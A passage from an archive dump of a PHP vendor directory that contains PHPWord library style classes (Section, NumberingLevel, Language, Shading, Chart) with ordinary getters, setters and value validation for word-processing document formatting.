    const EXTRUSION_PERSPECTIVE = 'perspective';

    /**
     * Type: parallel|perspective.
     *
     * @var string
     */
    private $type;

    /**
     * Color.
     *
     * @var string
     */
    private $color;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value = null)
    {
        $enum = [self::EXTRUSION_PARALLEL, self::EXTRUSION_PERSPECTIVE];
        $this->type = $this->setEnumVal($value, $enum, null);

        return $this;
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Section.php000066600000025061151150442730017070 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\SimpleType\VerticalJc;

/**
 * Section settings.
 */
class Section extends Border
{
    /**
     * Page orientation.
     *
     * @const string
     */
    const ORIENTATION_PORTRAIT = 'portrait';
    const ORIENTATION_LANDSCAPE = 'landscape';

    /**
     * Page default constants.
     *
     * @const int|float
     */
    const DEFAULT_WIDTH = 11905.511811024; // In twips.
    const DEFAULT_HEIGHT = 16837.79527559; // In twips.
    const DEFAULT_GUTTER = 0;              // In twips.
    const DEFAULT_HEADER_HEIGHT = 720;     // In twips.
    const DEFAULT_FOOTER_HEIGHT = 720;     // In twips.
    const DEFAULT_COLUMN_COUNT = 1;
    const DEFAULT_COLUMN_SPACING = 720;    // In twips.

    /**
     * Page Orientation.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/a-w_orient-1.html
     */
    private $orientation = self::ORIENTATION_PORTRAIT;

    /**
     * Paper size.
     *
     * @var \PhpOffice\PhpWord\Style\Paper
     */
    private $paper;

    /**
     * Page Size Width.
     *
     * @var float|int
     */
    private $pageSizeW = self::DEFAULT_WIDTH;

    /**
     * Page Size Height.
     *
     * @var float|int
     */
    private $pageSizeH = self::DEFAULT_HEIGHT;

    /**
     * Page gutter spacing.
     *
     * @var float|int
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_pgMar-1.html
     */
    private $gutter = self::DEFAULT_GUTTER;

    /**
     * Header height.
     *
     * @var float|int
     */
    private $headerHeight = self::DEFAULT_HEADER_HEIGHT;

    /**
     * Footer height.
     *
     * @var float|int
     */
    private $footerHeight = self::DEFAULT_FOOTER_HEIGHT;

    /**
     * Page Numbering Start.
     *
     * @var int
     */
    private $pageNumberingStart;

    /**
     * Section columns count.
     *
     * @var int
     */
    private $colsNum = self::DEFAULT_COLUMN_COUNT;

    /**
     * Section spacing between columns.
     *
     * @var float|int
     */
    private $colsSpace = self::DEFAULT_COLUMN_SPACING;

    /**
     * Section break type.
     *
     * Options:
     * - nextPage: Next page section break
     * - nextColumn: Column section break
     * - continuous: Continuous section break
     * - evenPage: Even page section break
     * - oddPage: Odd page section break
     *
     * @var ?string
     */
    private $breakType;

    /**
     * Line numbering.
     *
     * @var \PhpOffice\PhpWord\Style\LineNumbering
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_lnNumType-1.html
     */
    private $lineNumbering;

    /**
     * Vertical Text Alignment on Page
     * One of \PhpOffice\PhpWord\SimpleType\VerticalJc.
     *
     * @var ?string
     */
    private $vAlign;

    /**
     * Create new instance.
     */
    public function __construct()
    {
        $this->setPaperSize();
    }

    /**
     * Get paper size.
     *
     * @return string
     */
    public function getPaperSize()
    {
        return $this->paper->getSize();
    }

    /**
     * Set paper size.
     *
     * @param string $value
     *
     * @return self
     */
    public function setPaperSize($value = '')
    {
        if (!$value) {
            $value = Settings::getDefaultPaper();
        }
        if ($this->paper === null) {
            $this->paper = new Paper();
        }
        $this->paper->setSize($value);
        $this->pageSizeW = $this->paper->getWidth();
        $this->pageSizeH = $this->paper->getHeight();

        return $this;
    }

    /**
     * Set Setting Value.
     *
     * @param string $key
     * @param array|int|string $value
     *
     * @return self
     */
    public function setSettingValue($key, $value)
    {
        return $this->setStyleValue($key, $value);
    }

    /**
     * Set orientation.
     *
     * @param string $value
     *
     * @return self
     */
    public function setOrientation($value = null)
    {
        $enum = [self::ORIENTATION_PORTRAIT, self::ORIENTATION_LANDSCAPE];
        $this->orientation = $this->setEnumVal($value, $enum, $this->orientation);

        /** @var float|int $longSide Type hint */
        $longSide = $this->pageSizeW >= $this->pageSizeH ? $this->pageSizeW : $this->pageSizeH;

        /** @var float|int $shortSide Type hint */
        $shortSide = $this->pageSizeW < $this->pageSizeH ? $this->pageSizeW : $this->pageSizeH;

        if ($this->orientation == self::ORIENTATION_PORTRAIT) {
            $this->pageSizeW = $shortSide;
            $this->pageSizeH = $longSide;
        } else {
            $this->pageSizeW = $longSide;
            $this->pageSizeH = $shortSide;
        }

        return $this;
    }

    /**
     * Get Page Orientation.
     *
     * @return string
     */
    public function getOrientation()
    {
        return $this->orientation;
    }

    /**
     * Set Portrait Orientation.
     *
     * @return self
     */
    public function setPortrait()
    {
        return $this->setOrientation(self::ORIENTATION_PORTRAIT);
    }

    /**
     * Set Landscape Orientation.
     *
     * @return self
     */
    public function setLandscape()
    {
        return $this->setOrientation(self::ORIENTATION_LANDSCAPE);
    }

    /**
     * Get Page Size Width.
     *
     * @return null|float|int
     *
     * @since 0.12.0
     */
    public function getPageSizeW()
    {
        return $this->pageSizeW;
    }

    /**
     * @param null|float|int $value
     *
     * @return \PhpOffice\PhpWord\Style\Section
     *
     * @since 0.12.0
     */
    public function setPageSizeW($value = null)
    {
        $this->pageSizeW = $this->setNumericVal($value, self::DEFAULT_WIDTH);

        return $this;
    }

    /**
     * Get Page Size Height.
     *
     * @return null|float|int
     *
     * @since 0.12.0
     */
    public function getPageSizeH()
    {
        return $this->pageSizeH;
    }

    /**
     * @param null|float|int $value
     *
     * @return \PhpOffice\PhpWord\Style\Section
     *
     * @since 0.12.0
     */
    public function setPageSizeH($value = null)
    {
        $this->pageSizeH = $this->setNumericVal($value, self::DEFAULT_HEIGHT);

        return $this;
    }

    /**
     * Get gutter.
     *
     * @return float|int
     */
    public function getGutter()
    {
        return $this->gutter;
    }

    /**
     * Set gutter.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setGutter($value = null)
    {
        $this->gutter = $this->setNumericVal($value, self::DEFAULT_GUTTER);

        return $this;
    }

    /**
     * Get Header Height.
     *
     * @return float|int
     */
    public function getHeaderHeight()
    {
        return $this->headerHeight;
    }

    /**
     * Set Header Height.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setHeaderHeight($value = null)
    {
        $this->headerHeight = $this->setNumericVal($value, self::DEFAULT_HEADER_HEIGHT);

        return $this;
    }

    /**
     * Get Footer Height.
     *
     * @return float|int
     */
    public function getFooterHeight()
    {
        return $this->footerHeight;
    }

    /**
     * Set Footer Height.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setFooterHeight($value = null)
    {
        $this->footerHeight = $this->setNumericVal($value, self::DEFAULT_FOOTER_HEIGHT);

        return $this;
    }

    /**
     * Get page numbering start.
     *
     * @return null|int
     */
    public function getPageNumberingStart()
    {
        return $this->pageNumberingStart;
    }

    /**
     * Set page numbering start.
     *
     * @param null|int $pageNumberingStart
     *
     * @return self
     */
    public function setPageNumberingStart($pageNumberingStart = null)
    {
        $this->pageNumberingStart = $pageNumberingStart;

        return $this;
    }

    /**
     * Get Section Columns Count.
     *
     * @return int
     */
    public function getColsNum()
    {
        return $this->colsNum;
    }

    /**
     * Set Section Columns Count.
     *
     * @param int $value
     *
     * @return self
     */
    public function setColsNum($value = null)
    {
        $this->colsNum = $this->setIntVal($value, self::DEFAULT_COLUMN_COUNT);

        return $this;
    }

    /**
     * Get Section Space Between Columns.
     *
     * @return float|int
     */
    public function getColsSpace()
    {
        return $this->colsSpace;
    }

    /**
     * Set Section Space Between Columns.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setColsSpace($value = null)
    {
        $this->colsSpace = $this->setNumericVal($value, self::DEFAULT_COLUMN_SPACING);

        return $this;
    }

    /**
     * Get Break Type.
     *
     * @return ?string
     */
    public function getBreakType()
    {
        return $this->breakType;
    }

    /**
     * Set Break Type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBreakType($value = null)
    {
        $this->breakType = $value;

        return $this;
    }

    /**
     * Get line numbering.
     *
     * @return \PhpOffice\PhpWord\Style\LineNumbering
     */
    public function getLineNumbering()
    {
        return $this->lineNumbering;
    }

    /**
     * Set line numbering.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setLineNumbering($value = null)
    {
        $this->setObjectVal($value, 'LineNumbering', $this->lineNumbering);

        return $this;
    }

    /**
     * Get vertical alignment.
     *
     * @return ?string
     */
    public function getVAlign()
    {
        return $this->vAlign;
    }

    /**
     * Set vertical alignment.
     *
     * @param string $value
     *
     * @return self
     */
    public function setVAlign($value = null)
    {
        VerticalJc::validate($value);
        $this->vAlign = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/NumberingLevel.php000066600000017112151150442730020400 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\SimpleType\NumberFormat;

/**
 * Numbering level definition.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/e-w_lvl-1.html
 * @since 0.10.0
 */
class NumberingLevel extends AbstractStyle
{
    /**
     * Level number, 0 to 8 (total 9 levels).
     *
     * @var int
     */
    private $level = 0;

    /**
     * Starting value w:start.
     *
     * @var int
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_start-1.html
     */
    private $start = 1;

    /**
     * Numbering format w:numFmt, one of PhpOffice\PhpWord\SimpleType\NumberFormat.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-w_ST_NumberFormat.html
     */
    private $format;

    /**
     * Restart numbering level symbol w:lvlRestart.
     *
     * @var int
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_lvlRestart-1.html
     */
    private $restart;

    /**
     * Related paragraph style.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_pStyle-2.html
     */
    private $pStyle;

    /**
     * Content between numbering symbol and paragraph text w:suff.
     *
     * @var string tab|space|nothing
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_suff-1.html
     */
    private $suffix = 'tab';

    /**
     * Numbering level text e.g. %1 for nonbullet or bullet character.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_lvlText-1.html
     */
    private $text;

    /**
     * Justification, w:lvlJc.
     *
     * @var string, one of PhpOffice\PhpWord\SimpleType\Jc
     */
    private $alignment = '';

    /**
     * Left.
     *
     * @var int
     */
    private $left;

    /**
     * Hanging.
     *
     * @var int
     */
    private $hanging;

    /**
     * Tab position.
     *
     * @var int
     */
    private $tabPos;

    /**
     * Font family.
     *
     * @var string
     */
    private $font;

    /**
     * Hint default|eastAsia|cs.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/a-w_hint-1.html
     */
    private $hint;

    /**
     * Get level.
     *
     * @return int
     */
    public function getLevel()
    {
        return $this->level;
    }

    /**
     * Set level.
     *
     * @param int $value
     *
     * @return self
     */
    public function setLevel($value)
    {
        $this->level = $this->setIntVal($value, $this->level);

        return $this;
    }

    /**
     * Get start.
     *
     * @return int
     */
    public function getStart()
    {
        return $this->start;
    }

    /**
     * Set start.
     *
     * @param int $value
     *
     * @return self
     */
    public function setStart($value)
    {
        $this->start = $this->setIntVal($value, $this->start);

        return $this;
    }

    /**
     * Get format.
     *
     * @return string
     */
    public function getFormat()
    {
        return $this->format;
    }

    /**
     * Set format.
     *
     * @param string $value
     *
     * @return self
     */
    public function setFormat($value)
    {
        $this->format = $this->setEnumVal($value, NumberFormat::values(), $this->format);

        return $this;
    }

    /**
     * Get restart.
     *
     * @return int
     */
    public function getRestart()
    {
        return $this->restart;
    }

    /**
     * Set restart.
     *
     * @param int $value
     *
     * @return self
     */
    public function setRestart($value)
    {
        $this->restart = $this->setIntVal($value, $this->restart);

        return $this;
    }

    /**
     * Get related paragraph style.
     *
     * @return string
     */
    public function getPStyle()
    {
        return $this->pStyle;
    }

    /**
     * Set  related paragraph style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setPStyle($value)
    {
        $this->pStyle = $value;

        return $this;
    }

    /**
     * Get suffix.
     *
     * @return string
     */
    public function getSuffix()
    {
        return $this->suffix;
    }

    /**
     * Set suffix.
     *
     * @param string $value
     *
     * @return self
     */
    public function setSuffix($value)
    {
        $enum = ['tab', 'space', 'nothing'];
        $this->suffix = $this->setEnumVal($value, $enum, $this->suffix);

        return $this;
    }

    /**
     * Get text.
     *
     * @return string
     */
    public function getText()
    {
        return $this->text;
    }

    /**
     * Set text.
     *
     * @param string $value
     *
     * @return self
     */
    public function setText($value)
    {
        $this->text = $value;

        return $this;
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    public function getAlignment()
    {
        return $this->alignment;
    }

    /**
     * @since 0.13.0
     *
     * @param string $value
     *
     * @return self
     */
    public function setAlignment($value)
    {
        if (Jc::isValid($value)) {
            $this->alignment = $value;
        }

        return $this;
    }

    /**
     * Get left.
     *
     * @return int
     */
    public function getLeft()
    {
        return $this->left;
    }

    /**
     * Set left.
     *
     * @param int $value
     *
     * @return self
     */
    public function setLeft($value)
    {
        $this->left = $this->setIntVal($value, $this->left);

        return $this;
    }

    /**
     * Get hanging.
     *
     * @return int
     */
    public function getHanging()
    {
        return $this->hanging;
    }

    /**
     * Set hanging.
     *
     * @param int $value
     *
     * @return self
     */
    public function setHanging($value)
    {
        $this->hanging = $this->setIntVal($value, $this->hanging);

        return $this;
    }

    /**
     * Get tab.
     *
     * @return int
     */
    public function getTabPos()
    {
        return $this->tabPos;
    }

    /**
     * Set tab.
     *
     * @param int $value
     *
     * @return self
     */
    public function setTabPos($value)
    {
        $this->tabPos = $this->setIntVal($value, $this->tabPos);

        return $this;
    }

    /**
     * Get font.
     *
     * @return string
     */
    public function getFont()
    {
        return $this->font;
    }

    /**
     * Set font.
     *
     * @param string $value
     *
     * @return self
     */
    public function setFont($value)
    {
        $this->font = $value;

        return $this;
    }

    /**
     * Get hint.
     *
     * @return string
     */
    public function getHint()
    {
        return $this->hint;
    }

    /**
     * Set hint.
     *
     * @param string $value
     *
     * @return self
     */
    public function setHint($value = null)
    {
        $enum = ['default', 'eastAsia', 'cs'];
        $this->hint = $this->setEnumVal($value, $enum, $this->hint);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Language.php000066600000013167151150442730017213 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use InvalidArgumentException;

/**
 * Language
 * A couple of predefined values are defined here, see the websites below for more values.
 *
 * @see http://www.datypic.com/sc/ooxml/t-w_CT_Language.html
 * @see https://technet.microsoft.com/en-us/library/cc287874(v=office.12).aspx
 */
final class Language extends AbstractStyle
{
    const EN_US = 'en-US';
    const EN_US_ID = 1033;

    const EN_GB = 'en-GB';
    const EN_GB_ID = 2057;

    const FR_FR = 'fr-FR';
    const FR_FR_ID = 1036;

    const FR_BE = 'fr-BE';
    const FR_BE_ID = 2060;

    const FR_CH = 'fr-CH';
    const FR_CH_ID = 4108;

    const ES_ES = 'es-ES';
    const ES_ES_ID = 3082;

    const DE_DE = 'de-DE';
    const DE_DE_ID = 1031;

    const DE_CH = 'de-CH';
    const DE_CH_ID = 2055;

    const HE_IL = 'he-IL';
    const HE_IL_ID = 1037;

    const IT_IT = 'it-IT';
    const IT_IT_ID = 1040;

    const IT_CH = 'it-CH';
    const IT_CH_ID = 2064;

    const JA_JP = 'ja-JP';
    const JA_JP_ID = 1041;

    const KO_KR = 'ko-KR';
    const KO_KR_ID = 1042;

    const ZH_CN = 'zh-CN';
    const ZH_CN_ID = 2052;

    const HI_IN = 'hi-IN';
    const HI_IN_ID = 1081;

    const PT_BR = 'pt-BR';
    const PT_BR_ID = 1046;

    const NL_NL = 'nl-NL';
    const NL_NL_ID = 1043;

    const SV_SE = 'sv-SE';
    const SV_SE_ID = 1053;

    const UK_UA = 'uk-UA';
    const UK_UA_ID = 1058;

    const RU_RU = 'ru-RU';
    const RU_RU_ID = 1049;

    /**
     * Language ID, used for RTF document generation.
     *
     * @var int
     *
     * @see https://technet.microsoft.com/en-us/library/cc179219.aspx
     */
    private $langId;

    /**
     * Latin Language.
     *
     * @var string
     */
    private $latin;

    /**
     * East Asian Language.
     *
     * @var string
     */
    private $eastAsia;

    /**
     * Complex Script Language.
     *
     * @var string
     */
    private $bidirectional;

    /**
     * Constructor.
     *
     * @param null|string $latin
     * @param null|string $eastAsia
     * @param null|string $bidirectional
     */
    public function __construct($latin = null, $eastAsia = null, $bidirectional = null)
    {
        if (!empty($latin)) {
            $this->setLatin($latin);
        }
        if (!empty($eastAsia)) {
            $this->setEastAsia($eastAsia);
        }
        if (!empty($bidirectional)) {
            $this->setBidirectional($bidirectional);
        }
    }

    /**
     * Set the Latin Language.
     *
     * @param string $latin
     *            The value for the latin language
     *
     * @return self
     */
    public function setLatin($latin)
    {
        $this->latin = $this->validateLocale($latin);

        return $this;
    }

    /**
     * Get the Latin Language.
     *
     * @return null|string
     */
    public function getLatin()
    {
        return $this->latin;
    }

    /**
     * Set the Language ID.
     *
     * @param int $langId
     *            The value for the language ID
     *
     * @return self
     *
     * @see https://technet.microsoft.com/en-us/library/cc287874(v=office.12).aspx
     */
    public function setLangId($langId)
    {
        $this->langId = $langId;

        return $this;
    }

    /**
     * Get the Language ID.
     *
     * @return int
     */
    public function getLangId()
    {
        return $this->langId;
    }

    /**
     * Set the East Asian Language.
     *
     * @param string $eastAsia
     *            The value for the east asian language
     *
     * @return self
     */
    public function setEastAsia($eastAsia)
    {
        $this->eastAsia = $this->validateLocale($eastAsia);

        return $this;
    }

    /**
     * Get the East Asian Language.
     *
     * @return null|string
     */
    public function getEastAsia()
    {
        return $this->eastAsia;
    }

    /**
     * Set the Complex Script Language.
     *
     * @param string $bidirectional
     *            The value for the complex script language
     *
     * @return self
     */
    public function setBidirectional($bidirectional)
    {
        $this->bidirectional = $this->validateLocale($bidirectional);

        return $this;
    }

    /**
     * Get the Complex Script Language.
     *
     * @return null|string
     */
    public function getBidirectional()
    {
        return $this->bidirectional;
    }

    /**
     * Validates that the language passed is in the format xx-xx.
     *
     * @param string $locale
     *
     * @return string
     */
    private function validateLocale($locale)
    {
        if ($locale !== null) {
            $locale = str_replace('_', '-', $locale);
        }

        if ($locale !== null && strlen($locale) === 2) {
            return strtolower($locale) . '-' . strtoupper($locale);
        }
        if ($locale === 'und') {
            return 'en-EN';
        }
        if ($locale !== null && $locale !== 'zxx' && strstr($locale, '-') === false) {
            throw new InvalidArgumentException($locale . ' is not a valid language code');
        }

        return $locale;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Shading.php000066600000006271151150442730017043 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Shading style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_Shd.html
 * @since 0.10.0
 */
class Shading extends AbstractStyle
{
    /**
     * Pattern constants (partly).
     *
     * @const string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-w_ST_Shd.html
     */
    const PATTERN_CLEAR = 'clear'; // No pattern
    const PATTERN_SOLID = 'solid'; // 100% fill pattern
    const PATTERN_HSTRIPE = 'horzStripe'; // Horizontal stripe pattern
    const PATTERN_VSTRIPE = 'vertStripe'; // Vertical stripe pattern
    const PATTERN_DSTRIPE = 'diagStripe'; // Diagonal stripe pattern
    const PATTERN_HCROSS = 'horzCross'; // Horizontal cross pattern
    const PATTERN_DCROSS = 'diagCross'; // Diagonal cross pattern

    /**
     * Shading pattern.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/t-w_ST_Shd.html
     */
    private $pattern = self::PATTERN_CLEAR;

    /**
     * Shading pattern color.
     *
     * @var string
     */
    private $color;

    /**
     * Shading background color.
     *
     * @var string
     */
    private $fill;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get pattern.
     *
     * @return string
     */
    public function getPattern()
    {
        return $this->pattern;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setPattern($value = null)
    {
        $enum = [
            self::PATTERN_CLEAR, self::PATTERN_SOLID, self::PATTERN_HSTRIPE,
            self::PATTERN_VSTRIPE, self::PATTERN_DSTRIPE, self::PATTERN_HCROSS, self::PATTERN_DCROSS,
        ];
        $this->pattern = $this->setEnumVal($value, $enum, $this->pattern);

        return $this;
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set pattern.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }

    /**
     * Get fill.
     *
     * @return string
     */
    public function getFill()
    {
        return $this->fill;
    }

    /**
     * Set fill.
     *
     * @param string $value
     *
     * @return self
     */
    public function setFill($value = null)
    {
        $this->fill = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Chart.php000066600000026021151150442730016522 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Chart style.
 *
 * @since 0.12.0
 */
class Chart extends AbstractStyle
{
    /**
     * Width (in EMU).
     *
     * @var int
     */
    private $width = 1000000;

    /**
     * Height (in EMU).
     *
     * @var int
     */
    private $height = 1000000;

    /**
     * Is 3D; applies to pie, bar, line, area.
     *
     * @var bool
     */
    private $is3d = false;

    /**
     * A list of colors to use in the chart.
     *
     * @var array
     */
    private $colors = [];

    /**
     * Chart title.
     *
     * @var string
     */
    private $title;

    /**
     * Chart legend visibility.
     *
     * @var bool
     */
    private $showLegend = false;

    /**
     * Chart legend Position.
     * Possible values are 'r', 't', 'b', 'l', 'tr'.
     *
     * @var string
     */
    private $legendPosition = 'r';

    /**
     * A list of display options for data labels.
     *
     * @var array
     */
    private $dataLabelOptions = [
        'showVal' => true, // value
        'showCatName' => true, // category name
        'showLegendKey' => false, //show the cart legend
        'showSerName' => false, // series name
        'showPercent' => false,
        'showLeaderLines' => false,
        'showBubbleSize' => false,
    ];

    /**
     * A string that tells the writer where to write chart labels or to skip
     * "nextTo" - sets labels next to the axis (bar graphs on the left) (default)
     * "low" - labels on the left side of the graph
     * "high" - labels on the right side of the graph.
     *
     * @var string
     */
    private $categoryLabelPosition = 'nextTo';

    /**
     * A string that tells the writer where to write chart labels or to skip
     * "nextTo" - sets labels next to the axis (bar graphs on the bottom) (default)
     * "low" - labels are below the graph
     * "high" - labels above the graph.
     *
     * @var string
     */
    private $valueLabelPosition = 'nextTo';

    /**
     * @var string
     */
    private $categoryAxisTitle;

    /**
     * @var string
     */
    private $valueAxisTitle;

    /**
     * The position for major tick marks
     * Possible values are 'in', 'out', 'cross', 'none'.
     *
     * @var string
     */
    private $majorTickMarkPos = 'none';

    /**
     * Show labels for axis.
     *
     * @var bool
     */
    private $showAxisLabels = false;

    /**
     * Show Gridlines for Y-Axis.
     *
     * @var bool
     */
    private $gridY = false;

    /**
     * Show Gridlines for X-Axis.
     *
     * @var bool
     */
    private $gridX = false;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get width.
     *
     * @return int
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Set width.
     *
     * @param int $value
     *
     * @return self
     */
    public function setWidth($value = null)
    {
        $this->width = $this->setIntVal($value, $this->width);

        return $this;
    }

    /**
     * Get height.
     *
     * @return int
     */
    public function getHeight()
    {
        return $this->height;
    }

    /**
     * Set height.
     *
     * @param int $value
     *
     * @return self
     */
    public function setHeight($value = null)
    {
        $this->height = $this->setIntVal($value, $this->height);

        return $this;
    }

    /**
     * Is 3D.
     *
     * @return bool
     */
    public function is3d()
    {
        return $this->is3d;
    }

    /**
     * Set 3D.
     *
     * @param bool $value
     *
     * @return self
     */
    public function set3d($value = true)
    {
        $this->is3d = $this->setBoolVal($value, $this->is3d);

        return $this;
    }

    /**
     * Get the list of colors to use in a chart.
     *
     * @return array
     */
    public function getColors()
    {
        return $this->colors;
    }

    /**
     * Set the colors to use in a chart.
     *
     * @param array $value a list of colors to use in the chart
     *
     * @return self
     */
    public function setColors($value = [])
    {
        $this->colors = $value;

        return $this;
    }

    /**
     * Get the chart title.
     *
     * @return string
     */
    public function getTitle()
    {
        return $this->title;
    }

    /**
     * Set the chart title.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTitle($value = null)
    {
        $this->title = $value;

        return $this;
    }

    /**
     * Get chart legend visibility.
     *
     * @return bool
     */
    public function isShowLegend()
    {
        return $this->showLegend;
    }

    /**
     * Set chart legend visibility.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setShowLegend($value = false)
    {
        $this->showLegend = $value;

        return $this;
    }

    /**
     * Get chart legend position.
     *
     * @return string
     */
    public function getLegendPosition()
    {
        return $this->legendPosition;
    }

    /**
     * Set chart legend position. choices:
     * "r" - right of chart
     * "b" - bottom of chart
     * "t" - top of chart
     * "l" - left of chart
     * "tr" - top right of chart.
     *
     * default: right
     *
     * @param string $legendPosition
     *
     * @return self
     */
    public function setLegendPosition($legendPosition = 'r')
    {
        $enum = ['r', 'b', 't', 'l', 'tr'];
        $this->legendPosition = $this->setEnumVal($legendPosition, $enum, $this->legendPosition);

        return $this;
    }

    /*
     * Show labels for axis
     *
     * @return bool
     */
    public function showAxisLabels()
    {
        return $this->showAxisLabels;
    }

    /**
     * Set show Gridlines for Y-Axis.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setShowAxisLabels($value = true)
    {
        $this->showAxisLabels = $this->setBoolVal($value, $this->showAxisLabels);

        return $this;
    }

    /**
     * get the list of options for data labels.
     *
     * @return array
     */
    public function getDataLabelOptions()
    {
        return $this->dataLabelOptions;
    }

    /**
     * Set values for data label options.
     * This will only change values for options defined in $this->dataLabelOptions, and cannot create new ones.
     *
     * @param array $values [description]
     */
    public function setDataLabelOptions($values = []): void
    {
        foreach (array_keys($this->dataLabelOptions) as $option) {
            if (isset($values[$option])) {
                $this->dataLabelOptions[$option] = $this->setBoolVal(
                    $values[$option],
                    $this->dataLabelOptions[$option]
                );
            }
        }
    }

    /*
     * Show Gridlines for Y-Axis
     *
     * @return bool
     */
    public function showGridY()
    {
        return $this->gridY;
    }

    /**
     * Set show Gridlines for Y-Axis.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setShowGridY($value = true)
    {
        $this->gridY = $this->setBoolVal($value, $this->gridY);

        return $this;
    }

    /**
     * Get the categoryLabelPosition setting.
     *
     * @return string
     */
    public function getCategoryLabelPosition()
    {
        return $this->categoryLabelPosition;
    }

    /**
     * Set the categoryLabelPosition setting
     * "none" - skips writing  labels
     * "nextTo" - sets labels next to the  (bar graphs on the left)
     * "low" - labels on the left side of the graph
     * "high" - labels on the right side of the graph.
     *
     * @param mixed $labelPosition
     *
     * @return self
     */
    public function setCategoryLabelPosition($labelPosition)
    {
        $enum = ['nextTo', 'low', 'high'];
